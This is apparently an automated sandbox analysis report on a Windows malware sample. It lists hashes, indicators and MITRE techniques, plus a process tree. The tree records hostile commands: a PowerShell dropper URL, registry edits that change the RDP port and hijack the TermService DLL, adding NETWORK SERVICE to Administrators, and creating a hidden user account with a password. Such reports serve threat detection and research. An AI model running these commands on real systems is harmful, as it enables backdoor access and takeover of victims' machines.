3e841431aaa53eb3cfa6f167b3a46bca0eb16d22e6fd1d06944414b78cc512d8

Analysis

max time kernel
123s
max time network
139s
platform
windows10_x64
resource
win10v20210410
submitted
27-06-2021 19:33

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General

Target

SecuriteInfo.com.W32.AIDetect.malware1.29246.21787.exe
Size

5.8MB
MD5

7bd36bd38e2d59e7cd840ebb5d753ed7
SHA1

c625e4a67c8ed11da8d2f39151d80ece4a6c1c70
SHA256

3e841431aaa53eb3cfa6f167b3a46bca0eb16d22e6fd1d06944414b78cc512d8
SHA512

9a91148a38030fab0d99ab15e3113fa8f188379b9d6618942e41e1028d6c0dc19be4e8c8f3bc1faa40a7946eb4b38202f74ef6cac59df7739e8c15783bf924ae

Score

10^/10

persistence upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
17	404	powershell.exe
19	404	powershell.exe
20	404	powershell.exe
21	404	powershell.exe
23	404	powershell.exe
25	404	powershell.exe
27	404	powershell.exe
29	404	powershell.exe
31	404	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
3028	Svelta.exe.com
1308	Svelta.exe.com
4000	Svelta.exe.com

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000800000001ab80-238.dat	upx
behavioral2/files/0x000900000001ab8b-239.dat	upx

Deletes itself 1 IoCs

pid	Process
2728	powershell.exe

Loads dropped DLL 2 IoCs

pid	Process
1364	Process not Found
1364	Process not Found

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1308 set thread context of 4000	1308	Svelta.exe.com	86

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGICA36.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGICA57.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_kqhz1eyg.e0p.psm1	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_wzcexuag.a54.ps1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGICAB7.tmp	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGICA67.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGICAA7.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\DisplayName = "Internet"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Flags = "219"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Flags = "33"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1200 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\shell = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\LowIcon = "inetcpl.cpl#005425"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Flags = "219"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Flags = "33"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1200 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\@ivt = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Icon = "inetcpl.cpl#00004480"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "My Computer"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Description = "Your computer"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\CurrentLevel = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\file = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\CurrentLevel = "70912"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "My Computer [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\LowIcon = "inetcpl.cpl#005423"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "Computer [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1400 = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Flags = "33"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\PMDisplayName = "Restricted sites [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\DisplayName = "Internet"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\knownfolder = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\CurrentLevel = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\DisplayName = "Restricted sites"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Icon = "shell32.dll#0016"	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\57fd7ae31ab34c2c = 2c0053004f004600540057004100520045005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073005c0035002e0030005c00430061006300680065002c000000	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\ftp = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "My Computer [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\https = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Icon = "inetcpl.cpl#00004481"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\CurrentLevel = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "My Computer"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\CurrentLevel = "0"	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4004	reg.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3616	PING.EXE

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	19	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	20	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	21	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	23	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2728	powershell.exe
2728	powershell.exe
2728	powershell.exe
768	powershell.exe
768	powershell.exe
768	powershell.exe
3148	powershell.exe
3148	powershell.exe
3148	powershell.exe
3052	powershell.exe
3052	powershell.exe
3052	powershell.exe
2728	powershell.exe
2728	powershell.exe
2728	powershell.exe
404	powershell.exe
404	powershell.exe
404	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
616	Process not Found
616	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2728	powershell.exe
Token: SeDebugPrivilege	768	powershell.exe
Token: SeIncreaseQuotaPrivilege	768	powershell.exe
Token: SeSecurityPrivilege	768	powershell.exe
Token: SeTakeOwnershipPrivilege	768	powershell.exe
Token: SeLoadDriverPrivilege	768	powershell.exe
Token: SeSystemProfilePrivilege	768	powershell.exe
Token: SeSystemtimePrivilege	768	powershell.exe
Token: SeProfSingleProcessPrivilege	768	powershell.exe
Token: SeIncBasePriorityPrivilege	768	powershell.exe
Token: SeCreatePagefilePrivilege	768	powershell.exe
Token: SeBackupPrivilege	768	powershell.exe
Token: SeRestorePrivilege	768	powershell.exe
Token: SeShutdownPrivilege	768	powershell.exe
Token: SeDebugPrivilege	768	powershell.exe
Token: SeSystemEnvironmentPrivilege	768	powershell.exe
Token: SeRemoteShutdownPrivilege	768	powershell.exe
Token: SeUndockPrivilege	768	powershell.exe
Token: SeManageVolumePrivilege	768	powershell.exe
Token: 33	768	powershell.exe
Token: 34	768	powershell.exe
Token: 35	768	powershell.exe
Token: 36	768	powershell.exe
Token: SeDebugPrivilege	3148	powershell.exe
Token: SeIncreaseQuotaPrivilege	3148	powershell.exe
Token: SeSecurityPrivilege	3148	powershell.exe
Token: SeTakeOwnershipPrivilege	3148	powershell.exe
Token: SeLoadDriverPrivilege	3148	powershell.exe
Token: SeSystemProfilePrivilege	3148	powershell.exe
Token: SeSystemtimePrivilege	3148	powershell.exe
Token: SeProfSingleProcessPrivilege	3148	powershell.exe
Token: SeIncBasePriorityPrivilege	3148	powershell.exe
Token: SeCreatePagefilePrivilege	3148	powershell.exe
Token: SeBackupPrivilege	3148	powershell.exe
Token: SeRestorePrivilege	3148	powershell.exe
Token: SeShutdownPrivilege	3148	powershell.exe
Token: SeDebugPrivilege	3148	powershell.exe
Token: SeSystemEnvironmentPrivilege	3148	powershell.exe
Token: SeRemoteShutdownPrivilege	3148	powershell.exe
Token: SeUndockPrivilege	3148	powershell.exe
Token: SeManageVolumePrivilege	3148	powershell.exe
Token: 33	3148	powershell.exe
Token: 34	3148	powershell.exe
Token: 35	3148	powershell.exe
Token: 36	3148	powershell.exe
Token: SeDebugPrivilege	3052	powershell.exe
Token: SeIncreaseQuotaPrivilege	3052	powershell.exe
Token: SeSecurityPrivilege	3052	powershell.exe
Token: SeTakeOwnershipPrivilege	3052	powershell.exe
Token: SeLoadDriverPrivilege	3052	powershell.exe
Token: SeSystemProfilePrivilege	3052	powershell.exe
Token: SeSystemtimePrivilege	3052	powershell.exe
Token: SeProfSingleProcessPrivilege	3052	powershell.exe
Token: SeIncBasePriorityPrivilege	3052	powershell.exe
Token: SeCreatePagefilePrivilege	3052	powershell.exe
Token: SeBackupPrivilege	3052	powershell.exe
Token: SeRestorePrivilege	3052	powershell.exe
Token: SeShutdownPrivilege	3052	powershell.exe
Token: SeDebugPrivilege	3052	powershell.exe
Token: SeSystemEnvironmentPrivilege	3052	powershell.exe
Token: SeRemoteShutdownPrivilege	3052	powershell.exe
Token: SeUndockPrivilege	3052	powershell.exe
Token: SeManageVolumePrivilege	3052	powershell.exe
Token: 33	3052	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3680 wrote to memory of 392	3680	SecuriteInfo.com.W32.AIDetect.malware1.29246.21787.exe	78
PID 3680 wrote to memory of 392	3680	SecuriteInfo.com.W32.AIDetect.malware1.29246.21787.exe	78
PID 3680 wrote to memory of 392	3680	SecuriteInfo.com.W32.AIDetect.malware1.29246.21787.exe	78
PID 392 wrote to memory of 1868	392	cmd.exe	80
PID 392 wrote to memory of 1868	392	cmd.exe	80
PID 392 wrote to memory of 1868	392	cmd.exe	80
PID 1868 wrote to memory of 680	1868	cmd.exe	81
PID 1868 wrote to memory of 680	1868	cmd.exe	81
PID 1868 wrote to memory of 680	1868	cmd.exe	81
PID 1868 wrote to memory of 3028	1868	cmd.exe	82
PID 1868 wrote to memory of 3028	1868	cmd.exe	82
PID 1868 wrote to memory of 3616	1868	cmd.exe	83
PID 1868 wrote to memory of 3616	1868	cmd.exe	83
PID 1868 wrote to memory of 3616	1868	cmd.exe	83
PID 3028 wrote to memory of 1308	3028	Svelta.exe.com	84
PID 3028 wrote to memory of 1308	3028	Svelta.exe.com	84
PID 1308 wrote to memory of 4000	1308	Svelta.exe.com	86
PID 1308 wrote to memory of 4000	1308	Svelta.exe.com	86
PID 1308 wrote to memory of 4000	1308	Svelta.exe.com	86
PID 1308 wrote to memory of 4000	1308	Svelta.exe.com	86
PID 4000 wrote to memory of 2728	4000	Svelta.exe.com	87
PID 4000 wrote to memory of 2728	4000	Svelta.exe.com	87
PID 2728 wrote to memory of 3028	2728	powershell.exe	89
PID 2728 wrote to memory of 3028	2728	powershell.exe	89
PID 3028 wrote to memory of 2496	3028	csc.exe	90
PID 3028 wrote to memory of 2496	3028	csc.exe	90
PID 2728 wrote to memory of 768	2728	powershell.exe	91
PID 2728 wrote to memory of 768	2728	powershell.exe	91
PID 2728 wrote to memory of 3148	2728	powershell.exe	94
PID 2728 wrote to memory of 3148	2728	powershell.exe	94
PID 2728 wrote to memory of 3052	2728	powershell.exe	96
PID 2728 wrote to memory of 3052	2728	powershell.exe	96
PID 2728 wrote to memory of 3672	2728	powershell.exe	99
PID 2728 wrote to memory of 3672	2728	powershell.exe	99
PID 2728 wrote to memory of 4004	2728	powershell.exe	100
PID 2728 wrote to memory of 4004	2728	powershell.exe	100
PID 2728 wrote to memory of 3032	2728	powershell.exe	101
PID 2728 wrote to memory of 3032	2728	powershell.exe	101
PID 2728 wrote to memory of 2696	2728	powershell.exe	102
PID 2728 wrote to memory of 2696	2728	powershell.exe	102
PID 2696 wrote to memory of 1868	2696	net.exe	103
PID 2696 wrote to memory of 1868	2696	net.exe	103
PID 2728 wrote to memory of 2876	2728	powershell.exe	104
PID 2728 wrote to memory of 2876	2728	powershell.exe	104
PID 2876 wrote to memory of 3144	2876	cmd.exe	105
PID 2876 wrote to memory of 3144	2876	cmd.exe	105
PID 3144 wrote to memory of 3600	3144	cmd.exe	106
PID 3144 wrote to memory of 3600	3144	cmd.exe	106
PID 3600 wrote to memory of 3972	3600	net.exe	107
PID 3600 wrote to memory of 3972	3600	net.exe	107
PID 2728 wrote to memory of 4088	2728	powershell.exe	108
PID 2728 wrote to memory of 4088	2728	powershell.exe	108
PID 4088 wrote to memory of 3980	4088	cmd.exe	109
PID 4088 wrote to memory of 3980	4088	cmd.exe	109
PID 3980 wrote to memory of 3136	3980	cmd.exe	110
PID 3980 wrote to memory of 3136	3980	cmd.exe	110
PID 3136 wrote to memory of 2300	3136	net.exe	111
PID 3136 wrote to memory of 2300	3136	net.exe	111
PID 3716 wrote to memory of 2692	3716	cmd.exe	115
PID 3716 wrote to memory of 2692	3716	cmd.exe	115
PID 2692 wrote to memory of 2096	2692	net.exe	116
PID 2692 wrote to memory of 2096	2692	net.exe	116
PID 3812 wrote to memory of 3956	3812	cmd.exe	119
PID 3812 wrote to memory of 3956	3812	cmd.exe	119

C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.W32.AIDetect.malware1.29246.21787.exe
"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.W32.AIDetect.malware1.29246.21787.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3680
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cmd < Capace.tiff
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:392
- - C:\Windows\SysWOW64\cmd.exe
    cmd
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1868
  - - C:\Windows\SysWOW64\findstr.exe
      findstr /V /R "^VVQakpNKMLUfqoLVVhmjKCivrTyOgozXYJsboinGHQXJWaqRDprwktizOzfarZcDsWdsQhNOPTFUEbAKThltyaMTBYIORuCHxxsZeIwdvfjamhPsTFmPPdbZlbPSFYWIsXmlyAIljUI$" Sai.tiff
      4⤵
      PID:680
  - - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Svelta.exe.com
      Svelta.exe.com S
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:3028
    - - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Svelta.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Svelta.exe.com S
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:1308
      - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Svelta.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Svelta.exe.com
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4000
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
        7⤵
        Deletes itself
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2728
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\evd0idau\evd0idau.cmdline"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:3028
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES928C.tmp" "c:\Users\Admin\AppData\Local\Temp\evd0idau\CSC7E94C254BB0D4788ABCC8C5447DB1BDC.TMP"
        9⤵
        
        PID:2496
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
        8⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:768
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
        8⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3148
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
        8⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3052
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
        8⤵
        
        PID:3672
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
        8⤵
        Modifies registry key
        
        PID:4004
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
        8⤵
        
        PID:3032
        
        C:\Windows\system32\net.exe
        
        "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2696
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        9⤵
        
        PID:1868
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2876
        
        C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:3144
        
        C:\Windows\system32\net.exe
        
        net start rdpdr
        10⤵
        Suspicious use of WriteProcessMemory
        
        PID:3600
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        11⤵
        
        PID:3972
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:4088
        
        C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:3980
        
        C:\Windows\system32\net.exe
        
        net start TermService
        10⤵
        Suspicious use of WriteProcessMemory
        
        PID:3136
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        11⤵
        
        PID:2300
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
        8⤵
        
        PID:2252
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
        8⤵
        
        PID:1884
  - - C:\Windows\SysWOW64\PING.EXE
      ping 127.0.0.1 -n 30
      4⤵
      Runs ping.exe
      PID:3616

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:3716
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2692
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:2096

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc lLB8vtKv /add
1⤵
- Suspicious use of WriteProcessMemory
PID:3812
